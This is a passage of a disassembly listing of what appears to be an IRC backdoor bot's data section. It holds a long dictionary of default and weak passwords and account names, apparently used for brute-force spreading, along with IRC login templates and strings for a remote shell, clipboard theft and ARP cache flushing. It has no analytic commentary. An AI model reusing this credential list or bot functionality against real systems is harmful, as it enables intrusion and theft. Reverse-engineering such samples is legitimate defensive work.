aArmy db 'army',0 ; DATA XREF: seg002:0042C698o
align 4
aArlene db 'arlene',0 ; DATA XREF: seg002:0042C694o
align 4
aAriadne db 'ariadne',0 ; DATA XREF: seg002:0042C690o
aAria db 'aria',0 ; DATA XREF: seg002:0042C68Co
align 4
aApril db 'april',0 ; DATA XREF: seg002:0042C688o
align 4
aApollo13 db 'apollo13',0 ; DATA XREF: seg002:0042C684o
align 10h
aAnything db 'anything',0 ; DATA XREF: seg002:0042C680o
align 4
aAnvils db 'anvils',0 ; DATA XREF: seg002:0042C67Co
align 4
aAnthropo db 'anthropo',0 ; DATA XREF: seg002:0042C678o
align 10h
aAnthrax db 'anthrax',0 ; DATA XREF: seg002:0042C674o
aAnswer db 'answer',0 ; DATA XREF: seg002:0042C670o
align 10h
aAnonymou db 'anonymou',0 ; DATA XREF: seg002:0042C66Co
align 4
aAnon db 'anon',0 ; DATA XREF: seg002:0042C668o
align 4
aAnnette db 'annette',0 ; DATA XREF: seg002:0042C664o
aAnne db 'anne',0 ; DATA XREF: seg002:0042C660o
align 4
aAnna db 'anna',0 ; DATA XREF: seg002:0042C65Co
align 4
aAnita db 'anita',0 ; DATA XREF: seg002:0042C658o
align 4
aAnimals db 'animals',0 ; DATA XREF: seg002:0042C654o
aAnimal db 'animal',0 ; DATA XREF: seg002:0042C650o
align 4
aAngie db 'angie',0 ; DATA XREF: seg002:0042C64Co
align 4
aAngerine db 'angerine',0 ; DATA XREF: seg002:0042C648o
align 4
aAngela db 'angela',0 ; DATA XREF: seg002:0042C644o
align 10h
aAnfo db 'anfo',0 ; DATA XREF: seg002:0042C640o
align 4
aAndy db 'andy',0 ; DATA XREF: seg002:0042C63Co
align 10h
aAndromac db 'andromac',0 ; DATA XREF: seg002:0042C638o
align 4
aAndroid db 'android',0 ; DATA XREF: seg002:0042C634o
aAndrea db 'andrea',0 ; DATA XREF: seg002:0042C630o
align 4
aAnchor db 'anchor',0 ; DATA XREF: seg002:0042C62Co
align 4
aAnarchy db 'anarchy',0 ; DATA XREF: seg002:0042C628o
aAnarchis db 'anarchis',0 ; DATA XREF: seg002:0042C624o
align 4
aAnalog db 'analog',0 ; DATA XREF: seg002:0042C620o
align 10h
aAnal db 'anal',0 ; DATA XREF: seg002:0042C61Co
align 4
aAmorphou db 'amorphou',0 ; DATA XREF: seg002:0042C618o
align 4
aAmerica db 'america',0 ; DATA XREF: seg002:0042C614o
aAmber db 'amber',0 ; DATA XREF: seg002:0042C610o
align 4
aAmanda db 'amanda',0 ; DATA XREF: seg002:0042C60Co
align 4
aAmadeus db 'amadeus',0 ; DATA XREF: seg002:0042C608o
aAlphabet db 'alphabet',0 ; DATA XREF: seg002:0042C604o
align 10h
aAllow db 'allow',0 ; DATA XREF: seg002:0042C600o
align 4
aAllison db 'allison',0 ; DATA XREF: seg002:0042C5FCo
aAlison db 'alison',0 ; DATA XREF: seg002:0042C5F8o
align 4
aAlisa db 'alisa',0 ; DATA XREF: seg002:0042C5F4o
align 10h
aAlicia db 'alicia',0 ; DATA XREF: seg002:0042C5F0o
align 4
aAlice db 'alice',0 ; DATA XREF: seg002:0042C5ECo
align 10h
aAliases db 'aliases',0 ; DATA XREF: seg002:0042C5E8o
aAlias db 'alias',0 ; DATA XREF: seg002:0042C5E4o
align 10h
aAlgebra db 'algebra',0 ; DATA XREF: seg002:0042C5E0o
aAlexande db 'alexande',0 ; DATA XREF: seg002:0042C5DCo
align 4
aAlex db 'alex',0 ; DATA XREF: seg002:0042C5D8o
align 4
aAlert db 'alert',0 ; DATA XREF: seg002:0042C5D4o
align 4
aAlbert db 'albert',0 ; DATA XREF: seg002:0042C5D0o
align 4
aAlbatros db 'albatros',0 ; DATA XREF: seg002:0042C5CCo
align 4
aAlbany db 'albany',0 ; DATA XREF: seg002:0042C5C8o
align 10h
aAlaska db 'alaska',0 ; DATA XREF: seg002:0042C5C4o
align 4
aAirplane db 'airplane',0 ; DATA XREF: seg002:0042C5C0o
align 4
aAids db 'aids',0 ; DATA XREF: seg002:0042C5BCo
align 4
aAerobics db 'aerobics',0 ; DATA XREF: seg002:0042C5B8o
align 4
aAdult db 'adult',0 ; DATA XREF: seg002:0042C5B4o
align 10h
aAdrianna db 'adrianna',0 ; DATA XREF: seg002:0042C5B0o
align 4
aAdrian db 'adrian',0 ; DATA XREF: seg002:0042C5ACo
align 4
aAdam db 'adam',0 ; DATA XREF: seg002:0042C5A8o
align 4
aAction db 'action',0 ; DATA XREF: seg002:0042C5A4o
align 4
aAccount db 'account',0 ; DATA XREF: seg002:0042C5A0o
aAcademic db 'academic',0 ; DATA XREF: seg002:0042C598o
align 4
aAcademia db 'academia',0 ; DATA XREF: seg002:0042C594o
align 4
a000000 db '000000',0 ; DATA XREF: seg002:0042C590o
; seg002:0042DFA8o
align 4
a00000 db '00000',0 ; DATA XREF: seg002:0042C58Co
; seg002:0042DFA4o
align 4
a0000 db '0000',0 ; DATA XREF: seg002:0042C588o
; seg002:0042DFA0o
align 4
a000 db '000',0 ; DATA XREF: seg002:0042C584o
; seg002:0042DF9Co
aTesting db 'testing',0 ; DATA XREF: seg002:0042C580o
aDeath db 'death',0 ; DATA XREF: seg002:0042C57Co
align 10h
a00 db '00',0 ; DATA XREF: seg002:0042C578o
; seg002:0042DF98o
align 4
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: seg002:0042C570o
; seg002:0042E3E8o
align 10h
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: seg002:0042C56Co
; seg002:0042E3E4o
align 4
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: seg002:0042C568o
; seg002:0042E3E0o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: seg002:0042C564o
; seg002:0042E3DCo
align 4
aXxxxx db 'xxxxx',0 ; DATA XREF: seg002:0042C560o
; seg002:0042E3D8o
align 4
aXxxx db 'xxxx',0 ; DATA XREF: seg002:0042C55Co
; seg002:0042E3D4o
align 4
aXxx db 'xxx',0 ; DATA XREF: seg002:0042C558o
; seg002:0042E3D0o
aXx db 'xx',0 ; DATA XREF: seg002:0042C554o
; seg002:0042E3CCo
align 4
asc_432C24: ; DATA XREF: seg002:0042C550o
; seg002:0042E3C8o
unicode 0, <x>,0
aGuessme db 'guessme',0 ; DATA XREF: seg002:0042C54Co
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: seg002:0042C548o
align 10h
aUwontguessme db 'uwontguessme',0 ; DATA XREF: seg002:0042C544o
align 10h
aMirc_0 db 'mirc',0 ; DATA XREF: seg002:0042C540o
align 4
aKiddie db 'kiddie',0 ; DATA XREF: seg002:0042C53Co
align 10h
aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: seg002:0042C538o
align 10h
aScript db 'script',0 ; DATA XREF: seg002:0042C534o
align 4
aHax0r db 'hax0r',0 ; DATA XREF: seg002:0042C530o
align 10h
aHacker db 'hacker',0 ; DATA XREF: seg002:0042C52Co
align 4
aL337 db 'l337',0 ; DATA XREF: seg002:0042C528o
align 10h
aL33t db 'l33t',0 ; DATA XREF: seg002:0042C524o
align 4
aLeet db 'leet',0 ; DATA XREF: seg002:0042C520o
align 10h
aKiller db 'killer',0 ; DATA XREF: seg002:0042C51Co
align 4
a0wn3d db '0wn3d',0 ; DATA XREF: seg002:0042C518o
; seg002:0042E004o
align 10h
aW00t db 'w00t',0 ; DATA XREF: seg002:0042C514o
align 4
aHeaven db 'heaven',0 ; DATA XREF: seg002:0042C510o
align 10h
aSpaceman db 'spaceman',0 ; DATA XREF: seg002:0042C50Co
align 4
aSatanic db 'satanic',0 ; DATA XREF: seg002:0042C508o
aSatanik db 'satanik',0 ; DATA XREF: seg002:0042C504o
aSatan db 'satan',0 ; DATA XREF: seg002:0042C500o
align 4
aGobo db 'gobo',0 ; DATA XREF: seg002:0042C4FCo
align 4
aMatthew db 'Matthew',0 ; DATA XREF: seg002:0042C4F8o
aMatt db 'Matt',0 ; DATA XREF: seg002:0042C4F4o
align 4
aMat db 'Mat',0 ; DATA XREF: seg002:0042C4F0o
aPw db 'pw',0 ; DATA XREF: seg002:0042C4ECo
align 4
aMypass123 db 'mypass123',0 ; DATA XREF: seg002:0042C4E8o
align 10h
aMypass db 'mypass',0 ; DATA XREF: seg002:0042C4E4o
align 4
aPw123 db 'pw123',0 ; DATA XREF: seg002:0042C4E0o
align 10h
aAdmin123 db 'admin123',0 ; DATA XREF: seg002:0042C4DCo
align 4
aMypc123 db 'mypc123',0 ; DATA XREF: seg002:0042C4D8o
aMypc db 'mypc',0 ; DATA XREF: seg002:0042C4D4o
align 4
aLove db 'love',0 ; DATA XREF: seg002:0042C4D0o
align 4
aPwd db 'pwd',0 ; DATA XREF: seg002:0042C4CCo
aLogin db 'login',0 ; DATA XREF: seg002:0042C4C8o
align 10h
aHome db 'home',0 ; DATA XREF: seg002:0042C4C4o
align 4
aZxcv db 'zxcv',0 ; DATA XREF: seg002:0042C4C0o
align 10h
aYxcv db 'yxcv',0 ; DATA XREF: seg002:0042C4BCo
align 4
aQwer db 'qwer',0 ; DATA XREF: seg002:0042C4B8o
; seg002:0042E374o
align 10h
aSecret db 'secret',0 ; DATA XREF: seg002:0042C4B4o
align 4
aAsdf db 'asdf',0 ; DATA XREF: seg002:0042C4B0o
align 10h
aPc db 'pc',0 ; DATA XREF: seg002:0042C4ACo
align 4
aWin db 'win',0 ; DATA XREF: seg002:0042C4A8o
aTest123 db 'test123',0 ; DATA XREF: seg002:0042C4A4o
aAbc db 'abc',0 ; DATA XREF: seg002:0042C4A0o
aAaa db 'aaa',0 ; DATA XREF: seg002:0042C49Co
; seg002:0042E348o
aA_1: ; DATA XREF: seg002:0042C498o
; seg002:0042E340o
unicode 0, <a>,0
aCrash db 'crash',0 ; DATA XREF: seg002:0042C494o
align 4
aFucked db 'fucked',0 ; DATA XREF: seg002:0042C490o
align 4
aNetfuck db 'netfuck',0 ; DATA XREF: seg002:0042C48Co
aIrule db 'irule',0 ; DATA XREF: seg002:0042C488o
align 4
aOwned db 'owned',0 ; DATA XREF: seg002:0042C484o
align 4
a0wned db '0wned',0 ; DATA XREF: seg002:0042C480o
; seg002:0042E008o
align 4
aNetDevil db 'net-devil',0 ; DATA XREF: seg002:0042C47Co
align 4
aNetdevil db 'netdevil',0 ; DATA XREF: seg002:0042C478o
align 4
aDevil db 'devil',0 ; DATA XREF: seg002:0042C474o
align 4
aNilez db 'Nilez',0 ; DATA XREF: seg002:0042C470o
align 4
aFoobar db 'foobar',0 ; DATA XREF: seg002:0042C46Co
align 4
aGod db 'god',0 ; DATA XREF: seg002:0042C468o
aSex_0 db 'sex',0 ; DATA XREF: seg002:0042C464o
aPat db 'pat',0 ; DATA XREF: seg002:0042C460o
aPatrick db 'patrick',0 ; DATA XREF: seg002:0042C45Co
aAlpha db 'alpha',0 ; DATA XREF: seg002:0042C458o
align 4
a007 db '007',0 ; DATA XREF: seg002:0042C454o
; seg002:0042DFF4o
a123abc db '123abc',0 ; DATA XREF: seg002:0042C450o
; seg002:0042E204o
align 4
a1234qwer db '1234qwer',0 ; DATA XREF: seg002:0042C44Co
; seg002:0042E210o
align 10h
a123123 db '123123',0 ; DATA XREF: seg002:0042C448o
; seg002:0042E1B0o
align 4
a121212 db '121212',0 ; DATA XREF: seg002:0042C444o
; seg002:0042E1A8o
align 10h
a111111 db '111111',0 ; DATA XREF: seg002:0042C440o
; seg002:0042E020o
align 4
a110 db '110',0 ; DATA XREF: seg002:0042C43Co
; seg002:0042E174o
a2600 db '2600',0 ; DATA XREF: seg002:0042C438o
; seg002:0042E2FCo
align 4
a2002 db '2002',0 ; DATA XREF: seg002:0042C430o
; seg002:0042E2E8o
align 4
aXp_0 db 'xp',0 ; DATA XREF: seg002:0042C42Co
align 10h
aEnable db 'enable',0 ; DATA XREF: seg002:0042C428o
align 4
aGodblessyou db 'godblessyou',0 ; DATA XREF: seg002:0042C424o
aIhavenopass db 'ihavenopass',0 ; DATA XREF: seg002:0042C420o
a123asd db '123asd',0 ; DATA XREF: seg002:0042C41Co
; seg002:0042E208o
align 4
aSuper db 'super',0 ; DATA XREF: seg002:0042C418o
align 10h
aInternet db 'Internet',0 ; DATA XREF: seg002:0042C414o
align 4
a123qwe db '123qwe',0 ; DATA XREF: seg002:0042C40Co
; seg002:0042E20Co
align 4
aSybase db 'sybase',0 ; DATA XREF: seg002:0042C408o
align 4
aAbc123 db 'abc123',0 ; DATA XREF: seg002:0042C400o
align 4
aAbcd db 'abcd',0 ; DATA XREF: seg002:0042C3FCo
align 4
aPasswd db 'passwd',0 ; DATA XREF: seg002:0042C3F4o
align 4
aPass_0 db 'pass',0 ; DATA XREF: seg002:0042C3F0o
align 4
a88888888 db '88888888',0 ; DATA XREF: seg002:0042C3ECo
; seg002:0042E140o
align 4
a11111111 db '11111111',0 ; DATA XREF: seg002:0042C3E8o
; seg002:0042E028o
align 4
a111 db '111',0 ; DATA XREF: seg002:0042C3E4o
; seg002:0042E014o
a54321 db '54321',0 ; DATA XREF: seg002:0042C3E0o
; seg002:0042E308o
align 10h
a654321 db '654321',0 ; DATA XREF: seg002:0042C3DCo
; seg002:0042E30Co
align 4
a123456789 db '123456789',0 ; DATA XREF: seg002:0042C3D8o
; seg002:0042E1C8o
align 4
a12345678 db '12345678',0 ; DATA XREF: seg002:0042C3D4o
; seg002:0042E1C4o
align 10h
a1234567 db '1234567',0 ; DATA XREF: seg002:0042C3D0o
; seg002:0042E1C0o
a123456 db '123456',0 ; DATA XREF: seg002:0042C3CCo
; seg002:0042E1BCo
align 10h
a12345 db '12345',0 ; DATA XREF: seg002:0042C3C8o
; seg002:0042E1B8o
align 4
a1234 db '1234',0 ; DATA XREF: seg002:0042C3C4o
; seg002:0042E1B4o
align 10h
a123 db '123',0 ; DATA XREF: seg002:0042C3C0o
; seg002:0042E1ACo
a12 db '12',0 ; DATA XREF: seg002:0042C3BCo
; seg002:0042E1A0o
align 4
a1: ; DATA XREF: seg002:0042C3B8o
; seg002:0042E00Co
unicode 0, <1>,0
aTemp123 db 'temp123',0 ; DATA XREF: seg002:0042C3B4o
aChangeme_0 db 'Changeme',0 ; DATA XREF: seg002:0042C3B0o
align 10h
aChangeme db 'changeme',0 ; DATA XREF: seg002:0042C3ACo
align 4
aLinux db 'linux',0 ; DATA XREF: seg002:0042C3A8o
align 4
aUnix db 'unix',0 ; DATA XREF: seg002:0042C3A4o
align 4
aLocal db 'LOCAL',0 ; DATA XREF: seg002:0042C3A0o
align 4
aPepsi db 'pepsi',0 ; DATA XREF: seg002:0042C39Co
align 4
aServer_1 db 'SERVER',0 ; DATA XREF: seg002:0042C398o
; seg002:0042E758o
align 4
aSystem_0 db 'SYSTEM',0 ; DATA XREF: seg002:0042C394o
; seg002:0042E3A8o ...
align 4
aBackup db 'BACKUP',0 ; DATA XREF: seg002:0042C390o
; seg002:0042E750o
align 4
aAccess db 'ACCESS',0 ; DATA XREF: seg002:0042C388o
; seg002:0042E748o
align 4
aTest db 'TEST',0 ; DATA XREF: seg002:0042C384o
; seg002:0042E744o
align 4
aEdu db 'edu',0 ; DATA XREF: seg002:0042C380o
; seg002:0042E740o
aOwner_1 db 'Owner',0 ; DATA XREF: seg002:0042C37Co
; seg002:0042E73Co
align 10h
aOwner_0 db 'OWNER',0 ; DATA XREF: seg002:0042C378o
; seg002:0042E738o
align 4
aDemo db 'DEMO',0 ; DATA XREF: seg002:0042C374o
; seg002:0042E734o
align 10h
aFiles db 'FILES',0 ; DATA XREF: seg002:0042C370o
; seg002:0042E730o
align 4
aRead db 'READ',0 ; DATA XREF: seg002:0042C36Co
; seg002:0042E72Co
align 10h
aBoth db 'BOTH',0 ; DATA XREF: seg002:0042C368o
; seg002:0042E728o
align 4
aLadeda db 'ladeda',0 ; DATA XREF: seg002:0042C364o
; seg002:0042E724o
align 10h
aFull_0 db 'FULL',0 ; DATA XREF: seg002:0042C360o
; seg002:0042E720o
align 4
aWrite db 'WRITE',0 ; DATA XREF: seg002:0042C35Co
; seg002:0042E71Co
align 10h
aShare_0 db 'SHARE',0 ; DATA XREF: seg002:0042C358o
; seg002:0042E718o
align 4
aTemp db 'TEMP',0 ; DATA XREF: seg002:0042C354o
; seg002:0042E714o
align 10h
aPassword db 'PASSWORD',0 ; DATA XREF: seg002:0042C350o
; seg002:0042E710o
align 4
aAdmin_0 db 'ADMIN',0 ; DATA XREF: seg002:0042C34Co
; seg002:0042E70Co
align 4
aRoot_0 db 'ROOT',0 ; DATA XREF: seg002:0042C344o
; seg002:0042E704o
align 4
aGuest_1 db 'GUEST',0 ; DATA XREF: seg002:0042C340o
; seg002:0042E700o
align 4
aBla db 'bla',0 ; DATA XREF: seg002:0042C33Co
; seg002:0042E6FCo
aFubar db 'fubar',0 ; DATA XREF: seg002:0042C338o
; seg002:0042E6F8o
align 10h
aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: seg002:0042C32Co
; seg002:0042E6ECo
align 10h
aDb2 db 'db2',0 ; DATA XREF: seg002:0042C31Co
aOracle db 'oracle',0 ; DATA XREF: seg002:0042C318o
; seg002:0042C404o
align 4
aDba db 'dba',0 ; DATA XREF: seg002:0042C314o
aDatabase db 'database',0 ; DATA XREF: seg002:0042C310o
; seg002:0042C3F8o
align 4
aDefault db 'default',0 ; DATA XREF: seg002:0042C30Co
; seg002:0042CA98o
aGuest_0 db 'guest',0 ; DATA XREF: seg002:0042C308o
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: seg002:0042C304o
align 4
aTeacher db 'teacher',0 ; DATA XREF: seg002:0042C300o
; seg002:0042DA2Co
aStudent db 'student',0 ; DATA XREF: seg002:0042C2FCo
; seg002:0042D974o
aOwner db 'owner',0 ; DATA XREF: seg002:0042C2F8o
align 10h
aComputer db 'computer',0 ; DATA XREF: seg002:0042C2F4o
; seg002:0042C410o
align 4
aStaff db 'staff',0 ; DATA XREF: seg002:0042C2ECo
align 4
aAdmins db 'admins',0 ; DATA XREF: seg002:0042C2E4o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: seg002:0042C2E0o
aAdministrateur db 'administrateur',0 ; DATA XREF: seg002:0042C2DCo
align 4
aAdministrador db 'administrador',0 ; DATA XREF: seg002:0042C2D8o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: seg002:0042C2D4o
; seg002:0042C334o ...
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_41360D:loc_413718o
; seg002:0042C2D0o ...
align 4
aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: seg002:off_42C224o
a@room db '*@room',0 ; DATA XREF: seg002:off_42C220o
align 4
dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h
dd 2E64h, 25207325h, 25222064h, 2273h
dword_433144 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CB59+F2o
dd 2029206Ch, 2BBBB02h
aConnectedToS_ db ' Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40CCC1+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 10h
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40CCC1+35o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00412B18o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:00412B03o
align 4
dword_4331BC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00412AF6o
dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 10h
dword_4331F0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00412AD9o
dd 2029206Ch, 2BBBB02h
aPasswordAccept db ' Password accepted.',0
align 4
dword_433224 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00412A7Bo
dd 2029206Ch, 2BBBB02h
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 4
dword_433264 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00412A0Bo
dd 2029206Ch, 2BBBB02h
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: seg000:004129FCo
; seg000:00412A6Co
align 4
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: seg000:004129E8o
; seg000:00412A58o
align 10h
asc_4332F0: ; DATA XREF: seg000:004129B8o
unicode 0, <~>,0
dword_4332F4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00412967o
dd 2029206Ch, 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 4
dword_43332C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004128B9o
dd 2029206Ch, 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 4
dword_43336C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004128AEo
dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 4
dword_4333AC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0041284Ao
dd 2029206Ch, 2BBBB02h, 73252020h, 0
unk_4333D0 db 2 ; DATA XREF: seg000:00412820o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStar_4 db ' Failed to start secure thread, error: <%d>.',0
align 10h
dword_433420 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: seg000:004127AAo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h
dd 2E6D65h
aUnsecuring db 'Unsecuring',0 ; DATA XREF: seg000:004127A4o
align 4
aSecuring db 'Securing',0 ; DATA XREF: seg000:0041279Do
align 4
aSec db 'sec',0 ; DATA XREF: seg000:00412742o
aSecure db 'secure',0 ; DATA XREF: seg000:00412731o
align 10h
unk_433470 db 2 ; DATA XREF: seg000:00412726o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_5 db 'Failed to start server thread, error: <%d>.',0
dword_4334BC dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_4334CC dd 646E6946h, 6C696620h, 65hdword_4334D8 dd 72027002h, 1F631F6Fh, 2E2Ehdword_4334E4 dd 636F7250h, 20737365h, 7473696Ch, 0dword_4334F4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004125B4o
dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h
dd 2E676Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_4125A7o
align 4
dword_433538 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00412592o
dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh
dd 2E676E69h, 0
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_412585o
align 10h
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0041255Do
align 4
dword_43358C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00412511o
dd 2029206Ch, 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 4
dword_4335CC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004124D3o
dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah
dd 2Eh
dword_4335F8 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:004124A8o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
dword_433644 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:0041243Do
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
dd 61657268h, 2E7364h
dword_433674 dd 627573h dword_433678 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004123C8o
dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch
dd 2Eh
dword_4336A4 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: seg000:004123ADo
dd 2029206Ch, 2BBBB02h
aFailedToStar_6 db ' Failed to start listing thread, error: <%d>.',0
align 10h
dword_4336F0 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: seg000:00412320o
dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h
dd 2E67h
dword_43371C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0041229Fo
dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh
dd 2E6F66h
dword_433748 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00412270o
dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h
dd 2E6Fh
dword_433774 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0041221Bo
dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh
dd 2E746Fh
dword_4337A0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:00412208o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_7 db ' Failed to start listing thread, error: <%d>.',0
align 10h
dword_4337F0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:00412199o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
dd 6C207373h, 2E747369h, 0
aFull db 'full',0 ; DATA XREF: seg000:00412179o
align 4
dword_43382C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:00412122o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning db ' Already running.',0
align 10h
unk_433860 db 2 ; DATA XREF: seg000:004120F6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 63h ; c
db 64h, 6Bh, 65h
db 79h ; y
db 73h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aSearchComplete db ' Search completed.',0
align 4
dword_433894 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:004120AAo
dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah
dd 2Eh
dword_4338C0 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:loc_41200Do
dd 2029206Ch, 2BBBB02h
aRemoteShellRea db ' Remote shell ready.',0
align 4
dword_4338F4 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:00412006o
dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0
align 10h
dword_433930 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:00411FEAo
dd 2029206Ch, 2BBBB02h
aRemoteShellAlr db ' Remote shell already running.',0
dword_43396C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00411FD4o
dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h
dd 2E647261h, 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: seg000:00411FA6o
align 10h
unk_4339B0 db 2 ; DATA XREF: seg000:loc_411F96o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 10h
unk_4339F0 db 2 ; DATA XREF: seg000:00411F7Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
